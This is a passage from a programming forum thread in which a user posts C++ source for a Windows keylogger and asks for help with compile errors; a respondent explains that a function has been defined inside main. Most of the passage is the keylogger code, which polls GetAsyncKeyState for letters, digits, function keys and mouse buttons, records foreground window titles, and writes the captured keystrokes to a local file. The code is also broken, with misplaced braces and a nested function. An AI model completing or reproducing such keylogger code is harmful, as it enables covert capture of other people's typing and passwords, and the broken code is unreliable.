                     keylog+="l";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x4d))
              {
                     cout<<"m";
                     keylog+="m";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x4e))
              {
                     cout<<"n";
                     keylog+="n";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x4f))
              {
                     cout<<"o";
                     keylog+="o";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x50))
              {
                     cout<<"p";
                     keylog+="p";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x51))
              {
                     cout<<"q";
                     keylog+="q";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x52))
              {
                     cout<<"r";
                     keylog+="r";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x53))
              {
                     cout<<"s";
                     keylog+="s";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x54))
              {
                     cout<<"t";
                     keylog+="t";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x55))
              {
                     cout<<"u";
                     keylog+="u";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x56))
              {
                     cout<<"v";
                     keylog+="v";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x57))
              {
                     cout<<"w";
                     keylog+="w";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x58))
              {
                     cout<<"x";
                     keylog+="x";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x59))
              {
                     cout<<"y";
                     keylog+="y";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x5A))
              {
                     cout<<"z";
                     keylog+="z";
                     Sleep(100);
                     {

              if  (GetAsyncKeyState(VK_SPACE))
              {
                     cout<<" ";
                     keylog+=" ";
                     Sleep(100);   
                     }

              if (GetAsyncKeyState(0xBE))
              {
                    cout<<".";
                    keylog+=".";
                    Sleep(100);
                    }

              if (GetAsyncKeyState(0x0D))
              {
                   cout<<"/n";
                   keylog+="/n";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x30))
              {
                   cout<<"0";
                   keylog+="0";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x31))
              {
                   cout<<"1";
                   keylog+="1";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x32))
              {
                   cout<<"2";
                   keylog+="2";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x33))
              {
                   cout<<"3";
                   keylog+="3";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x34))
              {
                   cout<<"4";
                   keylog+="4";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x35))
              {
                   cout<<"5";
                   keylog+="5";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x36))
              {
                   cout<<"6";
                   keylog+="6";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x37))
              {
                   cout<<"7";
                   keylog+="7";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x38))
              {
                   cout<<"8";
                   keylog+="8";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x39))
              {
                   cout<<"9";
                   keylog+="9";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_LBUTTON))
              {
                   cout<<"[Left_Mouse_Button]";
                   keylog+="[Left_Mouse_Button]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_RBUTTON))
              {
                   cout<<"[Right_Mouse_Button]";
                   keylog+="[Right_Mouse_Button]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_MBUTTON))
              {
                   cout<<"[Middle_Mouse_Button]";
                   keylog+="[Middle_Mouse_Button]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_BACK))
              {
                   cout<<"[BACKSPACE]";
                   keylog+="[BACKSPACE]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_TAB))
              {
                   cout<<"[TAB]";
                   keylog+="[TAB]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_LSHIFT))
              {
                   cout<<"[LSHIFT]";
                   keylog+="[LSHIFT]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_RSHIFT))
              {
                   cout<<"[RSHIFT]";
                   keylog+="[RSHIFT]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_LCONTROL))
              {
                   cout<<"[LCONTROL";
                   keylog+="[LCONTROL]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_RCONTROL))
              {
                   cout<<"[RCONTROL]";
                   keylog+="[RCONTROL]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_NUMLOCK))
              {
                   cout<<"[NUMLOCK]";
                   keylog+="[NUMLOCK]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_SCROLL))
              {
                   cout<<"[SCROLL_LOCK]";
                   keylog+="[SCROLL_LOCK]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_DELETE))
              {
                   cout<<"[DELETE]";
                   keylog+="[DELETE]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_INSERT))
              {
                   cout<<"[INSERT]";
                   keylog+="[INSERT]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_SNAPSHOT))
              {
                   cout<<"[PRINTSCREEN]";
                   keylog+="[PRINTSCREEN]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_ESCAPE))
              {
                   cout<<"[ESC]";
                   keylog+="[ESC]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_CAPITAL))
              {
                   cout<<"[CAPS_LOCK]";
                   keylog+="[CAPS_LOCK]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x25))
              {
                   cout<<"[LEFT]";
                   keylog+="[LEFT]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x26))
              {
                   cout<<"[UP]";
                   keylog+="[UP]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x27))
              {
                   cout<<"[RIGHT]";
                   keylog+="[RIGHT]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x28))
              {
                   cout<<"[DOWN]";
                   keylog+="[DOWN]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_F1))
              {
                   cout<<"[F1]";
                   keylog+="[F1]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_F2)
              ){
                   cout<<"[F2]";
                   keylog+="[F2]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_F3))
              {
                   cout<<"[F3]";
                   keylog+="[F3]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_F4))
              {
                   cout<<"[F4]";
                   keylog+="[F4]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_F5))
              {
                   cout<<"[F5]";
                   keylog+="[F5]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_F6))
              {
                   cout<<"[F6]";
                   keylog+="[F6]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_F7))
              {
                   return EXIT_SUCCESS;
                   }

              if (GetAsyncKeyState (VK_F8))
              {
                   cout<<"[F8]";
                   keylog+="[F8]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_F9))
              {
                   cout<<"[F9]";
                   keylog+="[F9]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_F10))
              {
                   cout<<"[F10]";
                   keylog+="[F10]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_F11))
              {
                   cout<<"[F11]";
                   keylog+="[F11]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_F12))
              {
                   cout<<"[F12]";
                   keylog+="[F12]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_NUMPAD0))
              {
                   cout<<"[NUMPAD0]";
                   keylog+="[NUMPAD0]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_NUMPAD1))
              {
                   cout<<"[NUMPAD1]";
                   keylog+="[NUMPAD1]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_NUMPAD2))
              {
                   cout<<"[NUMPAD2]";
                   keylog+="[NUMPAD2]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_NUMPAD3))
              {
                   cout<<"[NUMPAD3]";
                   keylog+="[NUMPAD3]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_NUMPAD4))
              {
                   cout<<"[NUMPAD4]";
                   keylog+="[NUMPAD4]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_NUMPAD5))
              {
                   cout<<"[NUMPAD5]";
                   keylog+="[NUMPAD5]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_NUMPAD6))
              {
                   cout<<"[NUMPAD6]";
                   keylog+="[NUMPAD6]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_NUMPAD7))
              {
                   cout<<"[NUMPAD7]";
                   keylog+="[NUMPAD7]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_NUMPAD8))
              {
                   cout<<"[NUMPAD8]";
                   keylog+="[NUMPAD8]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_NUMPAD9))
              {
                   cout<<"[NUMPAD9]";
                   keylog+="[NUMPAD9]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_MULTIPLY))
              {
                   cout<<"[*]";
                   keylog+="[*]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_DIVIDE))
              {
                   cout<<"/";
                   keylog+="/";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0xBB))
              {
                   cout<<"[+]";
                   keylog+="[+]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0xBC))
              {
                   cout<<",";
                   keylog+=",";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0xBD))
              {
                   cout<<"[-]";
                   keylog+="[-]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_OEM_1))
              {
                   cout<<"[:;]";
                   keylog+="[:;]";
                   Sleep(100);
                   }                   
              if (GetAsyncKeyState (VK_OEM_2))
              {
                   cout<<"[/?]";
                   keylog+="[/?]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_OEM_4))
              {
                   cout<<"[ [{ ]";
                   keylog+="[ [{ ]";
                   Sleep(100);
                   }                        

              if (GetAsyncKeyState (VK_OEM_6))
              {
                   cout<<"[ ]} ]";
                   keylog+="[ ]} ]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_MENU))
              {
                   cout<<"[ALT]";
                   keylog+="[ALT]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_END))
              {
                   cout<<"[END]";
                   keylog+="[END]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_HOME))
              {
                   cout<<"[HOME]";
                   keylog+="[HOME]";
                   Sleep(100);
                   }




        ofstream file;
        file.open ("KLF.txt");
        file << keylog;
        file.close();



int KeyCheck(void)
{
      char key;
      int pause;

char title[MAX_PATH];
char oldtitle[MAX_PATH];
GetWindowText(GetForegroundWindow(), title, GetWindowTextLength(GetForegroundWindow()) + 1);
sprintf(oldtitle,"%s",title);
addTITLE(title); 
      while(1)
      {
              for(key = 32;key<=127;key++)
                      {
                      GetWindowText(GetForegroundWindow(), title, GetWindowTextLength(GetForegroundWindow()) + 1);
                       if(strcmp(title,oldtitle)){
                       addTITLE(title);
                       sprintf(oldtitle,"%s",title);
                       }
                                 if (GetAsyncKeyState(key)==-32767)
                                 {
                                       pause = KeyLog(key); 

                                 }
                                 }return 0;
                                 }


} 
}
}return 0;
}         


errors are-------- at line 710 : expected primary-expression before "int" 
                   at line 710 : expected `;' before "int" 

You appear to have posted the same mess repeatedly, which is also not helping at all.

Line 2189 (and identically at line 707 and line 1448, because you've pasted the same thing repeatedly) seems to be the start of a function definition. It also appears to be inside another function definition (the function named main). You cannot have one function defined inside another.

Edited 3 Years Ago by Moschops

sir it still showing following errors after putting the closing bracket
line:710: error: expected primary-expression before "void"

line:710: error: expected `;' before "void"
line:710: At global scope:
line:740: error: expected declaration before '}' token

The problem is NOT just about brackets. You have written the function keycheck INSIDE another function. You cannot write a function inside another function.

This is BAD:

int main()
{

  int KeyCheck(void)
  {
  // code here
  }

return 0;
}

This is GOOD:

int main()
{

 return 0;
}

int KeyCheck(void)
{
  // code here
}

You have done the BAD thing.

Comments
Good post, made me chuckle too! You sir have done a GOOD thing. Heh heh! XD
This article has been dead for over six months. Start a new discussion instead.